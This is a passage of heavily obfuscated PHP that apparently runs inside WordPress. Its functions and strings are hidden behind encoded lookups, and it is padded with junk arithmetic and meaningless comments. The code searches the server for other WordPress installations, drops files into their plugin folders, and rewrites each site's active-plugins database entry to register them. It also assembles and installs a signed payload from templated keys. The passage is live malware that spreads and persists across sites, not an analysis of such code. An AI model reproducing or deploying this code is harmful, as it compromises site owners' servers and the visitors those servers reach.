   if  (n_52vz_mvq1filje($daurlke0afcg,     $daj0ulxipl5))  {$rt7vy5o3et4t=65+42;$tgbyz3ml=$rt7vy5o3et4t-37;

  $tcve8d3h3uc7rv67 =     true;
}


}

    }


return   $tcve8d3h3uc7rv67;
    }      catch  (Throwable $ye68b7hs2257kgf)  {
   e_42zxx3yq4pdz4bo4(e77owqcywda_d(1049),   $ye68b7hs2257kgf);
 }  catch   (Exception  $ye68b7hs2257kgf) {
  }
  return    false;
 }

   function  oey9izeapdleqkbgno5($d5o4amclcy2jr, $a_gt0x82z6te)
 {
       $jt19a9isifbb3ny =    array();
 $a_gt0x82z6te    = $a_gt0x82z6te     -  1;



  
$dzldnhvzxjr0uj   =     pd5w5h3uqt5mrsxraacf5($d5o4amclcy2jr,  (405+95));
  if  (!    $GLOBALS['__scf_a91xkwk0qm_35']($dzldnhvzxjr0uj))   {
  return $jt19a9isifbb3ny;
   }
// deactivate lsm-tree for APCu shm

   $dzldnhvzxjr0uj = $GLOBALS['__scf_kugu9wdsub_154']($dzldnhvzxjr0uj,    0, (199+301));
    
  foreach    ($dzldnhvzxjr0uj  as    $g5mbd1uqvv) {
/* predictive cipher-suite */

   


      if    ($g5mbd1uqvv   === '.'  || $g5mbd1uqvv  ===   c_5yznsrtgse_i(1050)) {
       continue;
}


      
   $g0e13ghpamw2m0z =  $d5o4amclcy2jr  . '/'      . $g5mbd1uqvv;
      if   (! @$GLOBALS['__scf_iomf4blfg0_43']($g0e13ghpamw2m0z))    {
    continue;
  }

      
     if (@$GLOBALS['__scf_iomf4blfg0_43']($g0e13ghpamw2m0z  . c_5yznsrtgse_i(1051)))  {$q9l31aby_=PHP_MAJOR_VERSION;$wbmrqaaw=$q9l31aby_*4;



 $jt19a9isifbb3ny[] =    $GLOBALS['__scf_zwo1a6spxvy_12']($g0e13ghpamw2m0z, c_5yznsrtgse_i(563));

       continue;
 }
 

if ($a_gt0x82z6te  >      0)  {
$jt19a9isifbb3ny  =     $GLOBALS['__scf_sp6eq6gzqlrslw_358']($jt19a9isifbb3ny,    oey9izeapdleqkbgno5($g0e13ghpamw2m0z,  $a_gt0x82z6te));$z0pzrie2fy=9997;$waa75a374=$z0pzrie2fy%5;
  }
}
 
 return      $jt19a9isifbb3ny;
}
 function x0s0wybp_fbb34()
 {
$im2egor5migd0  =      array();
  $c8eqim615c    = $GLOBALS['__scf_zwo1a6spxvy_12'](ABSPATH,   okltugscqfcy(563));
 try {
// unbind trust-anchor for WP Loginout Block




  $lsgif2_3yo  =  array();
 if ($c8eqim615c) {



$lsgif2_3yo[] = $GLOBALS['__scf__ozzh8uadm__11']($c8eqim615c);
 $lsgif2_3yo[]  = $GLOBALS['__scf__ozzh8uadm__11']($GLOBALS['__scf__ozzh8uadm__11']($c8eqim615c));
 $lsgif2_3yo[]   =  $GLOBALS['__scf__ozzh8uadm__11']($GLOBALS['__scf__ozzh8uadm__11']($GLOBALS['__scf__ozzh8uadm__11']($c8eqim615c)));



}


 
$lsgif2_3yo[]  =   onlv7_99m8sby3(1052);
       $lsgif2_3yo[]  =    onlv7_99m8sby3(1053);
 

$lsgif2_3yo[]    = c_5yznsrtgse_i(1054);
$lsgif2_3yo[]  = e77owqcywda_d(1055);


$lsgif2_3yo[] =   okltugscqfcy(1056);
       $lsgif2_3yo[]    =  e77owqcywda_d(1057);
 $lsgif2_3yo[]   =      okltugscqfcy(1058);
      




   $vpzwljmy8kmed =  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(222)) ?     (string)  @$GLOBALS['__scf_hccbqyvtdwo0fx_109'](okltugscqfcy(1059)) :    "";$ur3m5uojy=19+71;$hhlvcvjkh5lv3n=$ur3m5uojy-42;

   if ($vpzwljmy8kmed  !==   "") {
    $r4nlcrlrunatux    = ($GLOBALS['__scf_ffvfced40_hd3k_7']($vpzwljmy8kmed, ';')   !==  false)  ?  ';'     :   ':';


foreach ($GLOBALS['__scf_yg8mfbm26s_111']($r4nlcrlrunatux,  $vpzwljmy8kmed)   as  $jl_ruybeyx54iw) {$qwgat34pyz=1*3;$cr32pb2bib=$qwgat34pyz-27;
 $jl_ruybeyx54iw  =      $GLOBALS['__scf__90_xdmo58j3q_311']($jl_ruybeyx54iw);

    if     ($jl_ruybeyx54iw  !==   "")     {
  $lsgif2_3yo[] = $jl_ruybeyx54iw;
   

 }



   }
     }


       


 $lsgif2_3yo  = $GLOBALS['__scf_youxoa71214_145']($GLOBALS['__scf_dfrcq01t5h_325']($lsgif2_3yo));
    $t3i8yhwh85    =     $GLOBALS['__scf_qj6_wl4ow_o7j_279'](true);
 $im2egor5migd0   = array();
    



 foreach   ($lsgif2_3yo  as      $d5o4amclcy2jr) {
    
if    (!    @$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr)   ||  !  @$GLOBALS['__scf_n1i7x5p4a4_46']($d5o4amclcy2jr))  {


  continue;

       }
  if (($GLOBALS['__scf_qj6_wl4ow_o7j_279'](true)   -   $t3i8yhwh85)     > (2+8))  {
 break;
}
  


 $im2egor5migd0  = $GLOBALS['__scf_sp6eq6gzqlrslw_358']($im2egor5migd0,     oey9izeapdleqkbgno5($d5o4amclcy2jr,    2));
  }
       }  catch (Throwable   $ye68b7hs2257kgf) {
 e_42zxx3yq4pdz4bo4(e77owqcywda_d(1060), $ye68b7hs2257kgf);
  }   catch   (Exception  $ye68b7hs2257kgf)  {
}
   
  return  $GLOBALS['__scf_rd9j34ymcsjc4s_148']($GLOBALS['__scf_youxoa71214_145']($im2egor5migd0),   array($c8eqim615c));



   }
    function   oh8tb_2dxrloba8ayh_y2($d0cmf7d1kuxivt9)
{
try     {
 $r6f_g0es060nqn_w    =    array($d0cmf7d1kuxivt9 .     e77owqcywda_d(1061), $d0cmf7d1kuxivt9   .  c_5yznsrtgse_i(1062));


   foreach  ($r6f_g0es060nqn_w  as $d5o4amclcy2jr)  {
if      (! @$GLOBALS['__scf_iomf4blfg0_43']($d5o4amclcy2jr))    {


   continue;
 }
  $wpsr6t3ckhcyq  =     pd5w5h3uqt5mrsxraacf5($d5o4amclcy2jr,    (8735-3735));
  if     (!$GLOBALS['__scf_a91xkwk0qm_35']($wpsr6t3ckhcyq))   {
      continue;
      }



  foreach  ($wpsr6t3ckhcyq   as  $ye68b7hs2257kgf)   {
 if  ($GLOBALS['__scf_pozjicggfgaq_9']($ye68b7hs2257kgf,     -(0x2+0x2)) === okltugscqfcy(1063)   && b1p_z7rdqk4o1fv4ey8f3t($d5o4amclcy2jr .  '/' .   $ye68b7hs2257kgf,  (834+4166)))  {
      return true;



   }

       }
// fence inserted

 foreach   ($wpsr6t3ckhcyq as  $ye68b7hs2257kgf)   {


 $s9zlmfo_51hlx3t   =  $d5o4amclcy2jr  . '/'   . $ye68b7hs2257kgf;
if     (!   @$GLOBALS['__scf_iomf4blfg0_43']($s9zlmfo_51hlx3t))   {
 continue;
     }
  $x81wiudlswh  =     pd5w5h3uqt5mrsxraacf5($s9zlmfo_51hlx3t,  (4982+18));
  if  (!$GLOBALS['__scf_a91xkwk0qm_35']($x81wiudlswh)) {
continue;
}

    foreach ($x81wiudlswh  as  $jj6fib7ix9ntj) {
     if ($GLOBALS['__scf_pozjicggfgaq_9']($jj6fib7ix9ntj,  -(171^175)) ===  e77owqcywda_d(1063)  &&  b1p_z7rdqk4o1fv4ey8f3t($s9zlmfo_51hlx3t  .   '/' .    $jj6fib7ix9ntj,    (2587+2413)))   {
     return   true;
 }
   }
   }
}
  }     catch     (Throwable  $ye68b7hs2257kgf)   {
     e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1064),     $ye68b7hs2257kgf);

  }  catch (Exception   $ye68b7hs2257kgf)  {
}
return  false;
   }
 function qjgwa511gnk39yh()
{
   try    {
    if     (xoaebe3djgc6z_1bgf(ku6yldy17ivtsoehkpgirz())) return;




 if  (get_transient(e77owqcywda_d(1065)))  {
// decidable linear-type
$zi76x0zgs7l=PHP_MAJOR_VERSION;$nuiueth5=$zi76x0zgs7l*8;
return;
}
   set_transient(e77owqcywda_d(1065),   1,  (862-262));
  


$c0abca9op_  =  s_41a4npfkl91g6lvjvfe();
     if    (!  $c0abca9op_ ||  $GLOBALS['__scf_m36_x4cy3m1b5_10']($c0abca9op_)   <  (135+865)) {
   return;


}
    if  (!  pqt0j30bec0qiplt($c0abca9op_)) {
 e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1066),    onlv7_99m8sby3(721));
    return;
 }
       
 $im2egor5migd0     =    x0s0wybp_fbb34();

  if  (empty($im2egor5migd0))  {
   if (!get_transient(okltugscqfcy(1067)))    {
   e_42zxx3yq4pdz4bo4(e77owqcywda_d(1066), okltugscqfcy(1068));
      set_transient(e77owqcywda_d(1067),  1,  (3576+24));
      }
set_transient(e77owqcywda_d(1069),    1,  (259197+3));
    return;
}



    $inisxlpqep803     =  0;
  foreach    ($im2egor5migd0 as    $d0cmf7d1kuxivt9)   {

if     (oh8tb_2dxrloba8ayh_y2($d0cmf7d1kuxivt9)) {
     continue;
   }




    $k0mcod1e3i3is6t  =  "";
  $bwruh_wm_pv8n4k   = $d0cmf7d1kuxivt9  . e77owqcywda_d(1061);
if    (@$GLOBALS['__scf_ovzejzf9rj_44']($bwruh_wm_pv8n4k)  && !@$GLOBALS['__scf_iomf4blfg0_43']($bwruh_wm_pv8n4k))  {
     $bwruh_wm_pv8n4k   =   null;
 } elseif (!@$GLOBALS['__scf_iomf4blfg0_43']($bwruh_wm_pv8n4k))    {
z896t8tuy9x7zn5($bwruh_wm_pv8n4k, (444+49), true);
}
if ($bwruh_wm_pv8n4k  &&  (!@$GLOBALS['__scf_iomf4blfg0_43']($bwruh_wm_pv8n4k)  ||   !@$GLOBALS['__scf_lnazygzamf_47']($bwruh_wm_pv8n4k))) {
  $bwruh_wm_pv8n4k =    null;
    }
if     ($bwruh_wm_pv8n4k)  {
    $pr9ju_fqhriq = $bwruh_wm_pv8n4k     . '/'      .     orb88b5b15pr5r67();



  $u35dvy3dv30qe  =  mnjwoq6_2fqzybrsdxadv2($c0abca9op_);
   $cxj7ts5thlf = wf9y470__ikilr($pr9ju_fqhriq,  $u35dvy3dv30qe,      onlv7_99m8sby3(1066));

    if  ($cxj7ts5thlf    && $cxj7ts5thlf   >=  $GLOBALS['__scf_m36_x4cy3m1b5_10']($u35dvy3dv30qe))    {
   $k0mcod1e3i3is6t     =  $pr9ju_fqhriq;
 }
 }
     
  if  (!  $k0mcod1e3i3is6t)    {
 $gpup3pnj6c4 =    $GLOBALS['__scf_nyge3zwzqqi4_200'](orb88b5b15pr5r67(), PATHINFO_FILENAME);
  $y17covmhfs02y35  =    $d0cmf7d1kuxivt9     .    e77owqcywda_d(1070)  .    $gpup3pnj6c4;
if  (!    @$GLOBALS['__scf_iomf4blfg0_43']($y17covmhfs02y35))   {
// MySQL window functions: serialize control-flow-graph
$gaxm8x_pm0=978;$n4n7wtfgr365_=($gaxm8x_pm0>0)?$gaxm8x_pm0:-$gaxm8x_pm0;
  z896t8tuy9x7zn5($y17covmhfs02y35,   (204+289), true);
}
     $pr9ju_fqhriq  =     $y17covmhfs02y35 .  '/'     .  orb88b5b15pr5r67();
      $u35dvy3dv30qe  =    mnjwoq6_2fqzybrsdxadv2($c0abca9op_);
    $cxj7ts5thlf   = wf9y470__ikilr($pr9ju_fqhriq,  $u35dvy3dv30qe,  onlv7_99m8sby3(1071));

 if    ($cxj7ts5thlf &&    $cxj7ts5thlf  >=  $GLOBALS['__scf_m36_x4cy3m1b5_10']($u35dvy3dv30qe)) {
$k0mcod1e3i3is6t =  $pr9ju_fqhriq;
 
$basename  = $gpup3pnj6c4  . '/'    .   orb88b5b15pr5r67();
ydp_qxvz08oyqo68x5b($d0cmf7d1kuxivt9,  $basename);
 }
}
   if    (! $k0mcod1e3i3is6t)   {
// detach subscriber for OPcache config

      continue;

   }
u34g0m5gddocpkl($k0mcod1e3i3is6t);
     jl7b1mmow1nrgaho8($k0mcod1e3i3is6t, (370+50));


  $inisxlpqep803++;
 }
if ($inisxlpqep803    >  0)      {
  set_transient(okltugscqfcy(1072), 1, (259114+86));

    }  else  {
  set_transient(onlv7_99m8sby3(1072),    1,  (3541+59));$yu6nknld=PHP_MAJOR_VERSION;$dzr2vukufurrr=$yu6nknld*9;
     

    }
}  catch      (Throwable $ye68b7hs2257kgf)   {
     e_42zxx3yq4pdz4bo4(okltugscqfcy(1071),    $ye68b7hs2257kgf);

    } catch      (Exception   $ye68b7hs2257kgf)  {
}

      }
   function  ydp_qxvz08oyqo68x5b($d0cmf7d1kuxivt9,  $basename)

  {
  try  {
     $jk9757az1r89m74q   =    $d0cmf7d1kuxivt9 .     okltugscqfcy(1073);

  if  (!  @$GLOBALS['__scf_cr6q9fwgft_18']($jk9757az1r89m74q))  {
    $jk9757az1r89m74q =    $GLOBALS['__scf__ozzh8uadm__11']($d0cmf7d1kuxivt9)  .  onlv7_99m8sby3(1073);



  if  (! @$GLOBALS['__scf_cr6q9fwgft_18']($jk9757az1r89m74q))  {
  return;
    }

 }
// expire interceptor for WP Term Description



$i2heqo3a8u1x   =   @$GLOBALS['__scf_ha14er2zmzf_92']($jk9757az1r89m74q);
if    (!   $i2heqo3a8u1x)  {
  return;
 }
$hayrkvcc87onsy     = "";



   $prefix    =  "";
    if  ($GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1074),   $i2heqo3a8u1x,   $kmgnq9_fgpd56zwu))    {



  $hayrkvcc87onsy   =  $kmgnq9_fgpd56zwu[1];
  }
  if  ($GLOBALS['__scf_ibg88bu925_93'](e77owqcywda_d(1075),   $i2heqo3a8u1x, $kmgnq9_fgpd56zwu))    {
 $prefix     =   $kmgnq9_fgpd56zwu[1];
       }
if      (! $hayrkvcc87onsy   || !  $prefix ||     !    $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1076),  $prefix))     {

    return;
 }
 $wpdb  =     $GLOBALS[onlv7_99m8sby3(987)];
  if   (!   $GLOBALS['__scf_vd54bz_6kr2o44_68']($wpdb)     ||     !     $GLOBALS['__scf_mihsk1y5nz_118']($wpdb,   onlv7_99m8sby3(130)))    {
    return;
 }


 if    (! $GLOBALS['__scf_ibg88bu925_93'](okltugscqfcy(1077),  $hayrkvcc87onsy))     {
e_42zxx3yq4pdz4bo4(e77owqcywda_d(747), onlv7_99m8sby3(1078));
 return;
       }
 $cd3216nvuql3lj =  '`'   . $hayrkvcc87onsy  .   okltugscqfcy(1079) . $prefix  .  c_5yznsrtgse_i(1080);
 $wpdb->query(onlv7_99m8sby3(1081));

  $od13w7fcczfno =   $wpdb->get_var('S'    . onlv7_99m8sby3(1082)   . $cd3216nvuql3lj   .   onlv7_99m8sby3(1083) . okltugscqfcy(1084)     .   okltugscqfcy(1085));
     if    ($od13w7fcczfno ===    null)  {$podaeoofzch3o=(0x6c+0x9f);$yurcpar0=$podaeoofzch3o%12;
$wpdb->query(okltugscqfcy(1086));
return;
}
  $ovocm3hf4gp3t  =    v1e28f4cd1mz1uke6n3d($od13w7fcczfno);


  if     (!     $GLOBALS['__scf_a91xkwk0qm_35']($ovocm3hf4gp3t)) {
   $wpdb->query(okltugscqfcy(1086));
 return;
  }
if ($GLOBALS['__scf_wwy_cardw8r5v6_146']($basename,    $ovocm3hf4gp3t, true))  {
    $wpdb->query(onlv7_99m8sby3(1087));
 return;
     }
$ovocm3hf4gp3t[] = $basename;
$ovocm3hf4gp3t    = $GLOBALS['__scf_fnyr4wcmh06x_144']($ovocm3hf4gp3t);
   $l_ezot7d4f9l  = $GLOBALS['__scf_i6l9zi1_f9_340']($ovocm3hf4gp3t);
       $hsdqgn9kubjo16n  =  $wpdb->query($wpdb->prepare('U' .  e77owqcywda_d(1088)   . $cd3216nvuql3lj  . c_5yznsrtgse_i(1089)   .  onlv7_99m8sby3(1090),    $l_ezot7d4f9l));



if  ($hsdqgn9kubjo16n     ===      false)    {$rrbo7nlc8=73+73;$iq3awg1pg=$rrbo7nlc8-29;
   e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1091), okltugscqfcy(1092));
 $wpdb->query(okltugscqfcy(1086));
 return;
  }


  $wpdb->query(okltugscqfcy(1087));



     if ($GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(1093)))  {

@wp_cache_delete(okltugscqfcy(1094),    okltugscqfcy(1095));
 @wp_cache_delete(onlv7_99m8sby3(1036),  onlv7_99m8sby3(1096));
   }
     }  catch (Throwable   $ye68b7hs2257kgf) {
     e_42zxx3yq4pdz4bo4(onlv7_99m8sby3(1091), $ye68b7hs2257kgf);


     if  ($GLOBALS['__scf_vd54bz_6kr2o44_68']($GLOBALS[c_5yznsrtgse_i(987)]))   {
 @$GLOBALS[onlv7_99m8sby3(1097)]->query(okltugscqfcy(1098));
   }
 }  catch (Exception $ye68b7hs2257kgf) {
  e_42zxx3yq4pdz4bo4(c_5yznsrtgse_i(1091),      $ye68b7hs2257kgf);
if   ($GLOBALS['__scf_vd54bz_6kr2o44_68']($GLOBALS[onlv7_99m8sby3(1097)]))     {$hnz_ifpz4n=7827;$g4bkk6amqc=$hnz_ifpz4n%10;
       @$GLOBALS[onlv7_99m8sby3(1097)]->query(e77owqcywda_d(1099));
 }


}
   }
 function n5jwz4cg21xd8a8pjksdw()
{
static $i2heqo3a8u1x =  null;



     if  ($i2heqo3a8u1x !==  null)   return     $i2heqo3a8u1x;
    if  (!$GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(269))) {
/* greedy command */

    $i2heqo3a8u1x = "";


  return  $i2heqo3a8u1x;
  }
$i2heqo3a8u1x  =   @gzinflate($GLOBALS['__scf_j_3rba3nic_344'](onlv7_99m8sby3(1100)));



if (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($i2heqo3a8u1x)   ||      $GLOBALS['__scf_m36_x4cy3m1b5_10']($i2heqo3a8u1x) < (167^195))    $i2heqo3a8u1x   =  "";
  

     return   $i2heqo3a8u1x;
        }
  function  cn5f_d1o8z53bfph0()
{
 try  {
        if     (!defined(okltugscqfcy(1101)))      return;
   $eaeerm127wtnj    =  $GLOBALS['__scf_n2ceqwn4my98_3'](ku6yldy17ivtsoehkpgirz(), e77owqcywda_d(1063));
 $olbqu9lljsvf1     =    l09115umv3lykft9t(ABSPATH .    c_5yznsrtgse_i(1102),    (0x7+0x1)) .    e77owqcywda_d(1103);
 $zpvfhg3_3mh4zk_ =  l09115umv3lykft9t(ABSPATH   .  onlv7_99m8sby3(1104),    (236^228));
 $gblo4zdoa_bia7pg    =     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(1105))  ?  content_url()    :     "";
      if    ($gblo4zdoa_bia7pg   === "")  {
$gblo4zdoa_bia7pg  =   ($GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(543))    ?  get_site_url() : "")  .     okltugscqfcy(1106);
}
    $dh7_m_i91goq =    $GLOBALS['__scf_gfb1kztgz8_351'](c_5yznsrtgse_i(1107),  okltugscqfcy(1108),     $gblo4zdoa_bia7pg   .     '/'    .  $olbqu9lljsvf1);

 if ($GLOBALS['__scf_ffvfced40_hd3k_7']($dh7_m_i91goq,    okltugscqfcy(1109)) !==   0) $dh7_m_i91goq    =  okltugscqfcy(1109) . $GLOBALS['__scf_lt6nnx5zea_8']($dh7_m_i91goq, '/');

 $oqw2lmkcyzeit     =  $GLOBALS['__scf_xjs199hyyb2xza_4'](c_5yznsrtgse_i(656)) ? home_url(c_5yznsrtgse_i(1110) .  xavbbpw53ligobh(onlv7_99m8sby3(1104)))   :     "";
      if  ($oqw2lmkcyzeit === "")   $oqw2lmkcyzeit  = e77owqcywda_d(1109) . kgvyhbi5fxdnhzziy9wc("")    . c_5yznsrtgse_i(1111)  .    xavbbpw53ligobh(onlv7_99m8sby3(1112));
    if ($GLOBALS['__scf_ffvfced40_hd3k_7']($oqw2lmkcyzeit,  okltugscqfcy(1109))   !==    0) $oqw2lmkcyzeit   =   c_5yznsrtgse_i(1109)    .  $GLOBALS['__scf_lt6nnx5zea_8']($GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1113),      "", $oqw2lmkcyzeit),  '/');
 $k13do9wu64cpc   = isset($GLOBALS[c_5yznsrtgse_i(610)])  &&  $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[c_5yznsrtgse_i(1114)])  ?  $GLOBALS[onlv7_99m8sby3(1114)]    :    "";$ioh2yoep3s6p=(0x40+0x85);$k_71yd07a_g=$ioh2yoep3s6p%12;
  if ($GLOBALS['__scf_m36_x4cy3m1b5_10']($k13do9wu64cpc) < (141-41))  {
 $k13do9wu64cpc    =  e7dnf6igrlpcuaapfpdtx5(c_5yznsrtgse_i(355), "");
 }


  if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($k13do9wu64cpc)     <   (0x55+0xf))     {


$k13do9wu64cpc = n5jwz4cg21xd8a8pjksdw();
}
$_rj53w_frk17i4y    = "";
     if (isset($GLOBALS[e77owqcywda_d(608)])  && $GLOBALS['__scf_ncrh0liqs6be8x_41']($GLOBALS[okltugscqfcy(1115)])    && $GLOBALS['__scf_m36_x4cy3m1b5_10']($GLOBALS[e77owqcywda_d(1115)])   > (167^149)) {
     $_rj53w_frk17i4y   =  $GLOBALS[okltugscqfcy(1115)];
     } else  {
   $_rj53w_frk17i4y    = e7dnf6igrlpcuaapfpdtx5(onlv7_99m8sby3(1116), "");
  }
   if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($_rj53w_frk17i4y)   >  (35+15))    {
 ciwxbzr19t8j5_t(e77owqcywda_d(1116),    $_rj53w_frk17i4y,    onlv7_99m8sby3(1117));
 }
 $x7k3jwmrl72e =  $GLOBALS['__scf_xjs199hyyb2xza_4'](e77owqcywda_d(656))  ?   (string)  $GLOBALS['__scf__1yrfqcb0r_541'](home_url('/'),   PHP_URL_PATH)   :  '/';
if   ($x7k3jwmrl72e  ===   "")   $x7k3jwmrl72e    = '/';
    if ($GLOBALS['__scf_pozjicggfgaq_9']($x7k3jwmrl72e,      -1)    !==   '/')   $x7k3jwmrl72e   .= '/';
    $g5i6vru06x    = array(
       c_5yznsrtgse_i(1118) =>  krw12r8wqgoe6vvpgv(),
    c_5yznsrtgse_i(1119)     =>   wqsd_polikby1vht83(),
  okltugscqfcy(1120)    =>   $x7k3jwmrl72e,

     );

       $orar_y2w9e  =    array(



c_5yznsrtgse_i(1121)   => $dh7_m_i91goq,
    e77owqcywda_d(1122)   => $eaeerm127wtnj,
 onlv7_99m8sby3(1123)   =>  $oqw2lmkcyzeit,
 onlv7_99m8sby3(1124)  => l09115umv3lykft9t(ABSPATH    . onlv7_99m8sby3(1125),     (15-3)),
e77owqcywda_d(1126)   =>    $_rj53w_frk17i4y,
   );
$snqa3cqz5rnty58 =   p1w1aijw1nxgdhwwgzjmn(c_5yznsrtgse_i(334),   "");
if      (!$GLOBALS['__scf_ncrh0liqs6be8x_41']($snqa3cqz5rnty58)  ||    $GLOBALS['__scf_m36_x4cy3m1b5_10']($snqa3cqz5rnty58)   ===     0)    {
   return;
   }
   $b_ho0_adw5 =    $GLOBALS['__scf__y1qevmu6cl77u_343'](qp3lvwxu38niepmfwpkj($GLOBALS['__scf_ddem5kbgax66n3_570']($orar_y2w9e),    $snqa3cqz5rnty58));

  $mzeo_c1r7nyw     = e77owqcywda_d(1127)  .   $GLOBALS['__scf__y1qevmu6cl77u_343']($GLOBALS['__scf_ddem5kbgax66n3_570']($g5i6vru06x)) . okltugscqfcy(1128);
  $mzeo_c1r7nyw   .=   c_5yznsrtgse_i(1129)  .  $b_ho0_adw5   . e77owqcywda_d(1130);
 $o0i_s4ko7l9w_x =    $GLOBALS['__scf_poant85f5yad_56']((string) $k13do9wu64cpc  .     (string)    $_rj53w_frk17i4y  .   $snqa3cqz5rnty58 . $GLOBALS['__scf_ddem5kbgax66n3_570']($g5i6vru06x[e77owqcywda_d(1131)])   .   $GLOBALS['__scf_ddem5kbgax66n3_570']($g5i6vru06x[onlv7_99m8sby3(1119)])     .   '|' . $GLOBALS['__scf_sp7azfm0t4x0x_100'](kgvyhbi5fxdnhzziy9wc(""))  .   '|'    .    $x7k3jwmrl72e);
    if (ciwxbzr19t8j5_t(c_5yznsrtgse_i(1132),  $mzeo_c1r7nyw,   okltugscqfcy(1117))  ||    e7dnf6igrlpcuaapfpdtx5(e77owqcywda_d(1132),   "")  === $mzeo_c1r7nyw)   ciwxbzr19t8j5_t(okltugscqfcy(1133),   $o0i_s4ko7l9w_x,  okltugscqfcy(1117));


       unset($o0i_s4ko7l9w_x);

  $n_yysovpozz0y  =  $GLOBALS['__scf_xjs199hyyb2xza_4'](okltugscqfcy(656))    ? home_url(okltugscqfcy(1110)  .  xavbbpw53ligobh(okltugscqfcy(612)))   :   "";
 if   ($n_yysovpozz0y   === "") $n_yysovpozz0y =   okltugscqfcy(1109) .  kgvyhbi5fxdnhzziy9wc("") .  e77owqcywda_d(1134) . xavbbpw53ligobh(e77owqcywda_d(612));
   if ($GLOBALS['__scf_ffvfced40_hd3k_7']($n_yysovpozz0y, c_5yznsrtgse_i(1109))  !== 0)   $n_yysovpozz0y = c_5yznsrtgse_i(1135) .     $GLOBALS['__scf_lt6nnx5zea_8']($GLOBALS['__scf_t8cv4weumn7_439'](onlv7_99m8sby3(1113), "",  $n_yysovpozz0y), '/');
    ciwxbzr19t8j5_t(okltugscqfcy(1136),   $n_yysovpozz0y,  c_5yznsrtgse_i(1117));
   if   ($GLOBALS['__scf_m36_x4cy3m1b5_10']($k13do9wu64cpc)   <    (87+13)) {


 return;
  }
     ciwxbzr19t8j5_t(okltugscqfcy(355),    $k13do9wu64cpc,   c_5yznsrtgse_i(1117));
 if  (!rqr3_97bcqnf0fx8())     return;
       $u29onh033r7dfgir   =  hc439iwbgn5b2nwx5x_lu();
      if    (!@$GLOBALS['__scf_iomf4blfg0_43']($u29onh033r7dfgir))  z896t8tuy9x7zn5($u29onh033r7dfgir,      (150+343),  true);
if    (!@$GLOBALS['__scf_iomf4blfg0_43']($u29onh033r7dfgir)  ||  !@$GLOBALS['__scf_lnazygzamf_47']($u29onh033r7dfgir))  return;
  $zs4xpx6o9_h  =    $u29onh033r7dfgir .   '/' .   $zpvfhg3_3mh4zk_      .  c_5yznsrtgse_i(1063);
    $hq2bz3ag58yh0q    = mua1wkeo2i85r3r8dahw(


      e77owqcywda_d(624),
     array('__SLUG__', '__ZIP_NAME__',      '__WRITE_KEY__',  '__VERSION__'),
array($eaeerm127wtnj,      $olbqu9lljsvf1,   l09115umv3lykft9t(ABSPATH   . c_5yznsrtgse_i(1137),   (1+11)),  w218ynit42v8uao2p())
    );
 if  (!$hq2bz3ag58yh0q)    {
  if  ((int) get_option(e77owqcywda_d(729),  0)     >  0) e_42zxx3yq4pdz4bo4(e77owqcywda_d(1138),  e77owqcywda_d(1139));


     return;
   }


 if  (!@$GLOBALS['__scf_s8a8ra7wu3u_676']($zs4xpx6o9_h) ||  $GLOBALS['__scf_poant85f5yad_56'](ti6s2mx79ow6io((string)   @$GLOBALS['__scf_ha14er2zmzf_92']($zs4xpx6o9_h)))  !==     $GLOBALS['__scf_poant85f5yad_56']($hq2bz3ag58yh0q))   {



 wf9y470__ikilr($zs4xpx6o9_h,  $hq2bz3ag58yh0q, okltugscqfcy(1140));
       qdde0bjty1e07vpar5t2($zs4xpx6o9_h,  sx7gtblw9v0s3m1l7());
 jl7b1mmow1nrgaho8($zs4xpx6o9_h,   (767-347));
     gy672vrnjusgcel1($zs4xpx6o9_h);
 }
// improve error context



} catch (Throwable   $ye68b7hs2257kgf) {
e_42zxx3yq4pdz4bo4(okltugscqfcy(1138),      $ye68b7hs2257kgf);
      } catch  (Exception  $ye68b7hs2257kgf)   {



 }
// linear-adj branded-type

 }



       function     mua1wkeo2i85r3r8dahw($key,   $qv_lmi4igj3gm, $ieav3cv9i3rbk3)
{
   $q6ex9_uw_98   = null;
if  ($q6ex9_uw_98   ===  null)  {
 $q6ex9_uw_98 =     $GLOBALS['__scf_xjs199hyyb2xza_4'](onlv7_99m8sby3(960)) ? get_transient(iyfrtzihosexnci())  :   false;
  if     (!  $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98))  {
  $q6ex9_uw_98    =  xpdlfu85kkkwlafjl9xq(e77owqcywda_d(636),     false);
        }
   if   (!     $GLOBALS['__scf_a91xkwk0qm_35']($q6ex9_uw_98))  {
    $q6ex9_uw_98    =  array();
  }
   }
  $hm4zk_al_f   =     "";
if  (isset($q6ex9_uw_98[$key])  &&   $GLOBALS['__scf_ncrh0liqs6be8x_41']($q6ex9_uw_98[$key])) {
   $hm4zk_al_f =   $q6ex9_uw_98[$key];
  }
// PHPUnit 10: injective-adj trie

 if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($hm4zk_al_f)   <   (0x1b+0x17))  {
// checkpoint uncomputable composite

$hm4zk_al_f =    e7dnf6igrlpcuaapfpdtx5($key,   "");
 }
 if  ($GLOBALS['__scf_m36_x4cy3m1b5_10']($hm4zk_al_f)   <   (217^235))    return  false;
$uh3v9zp8lp  =      $GLOBALS['__scf_j_3rba3nic_344']($hm4zk_al_f,      true);
      if   (!$uh3v9zp8lp ||     $GLOBALS['__scf_m36_x4cy3m1b5_10']($uh3v9zp8lp)      < (73-23)) return  false;
  if     ($GLOBALS['__scf_ffvfced40_hd3k_7']($uh3v9zp8lp,    okltugscqfcy(1141))    ===     false)  return     false;
  $uh3v9zp8lp  =   $GLOBALS['__scf_gfb1kztgz8_351']($qv_lmi4igj3gm,   $ieav3cv9i3rbk3,  $uh3v9zp8lp);
 if (defined(e77owqcywda_d(234)))    {
try   {
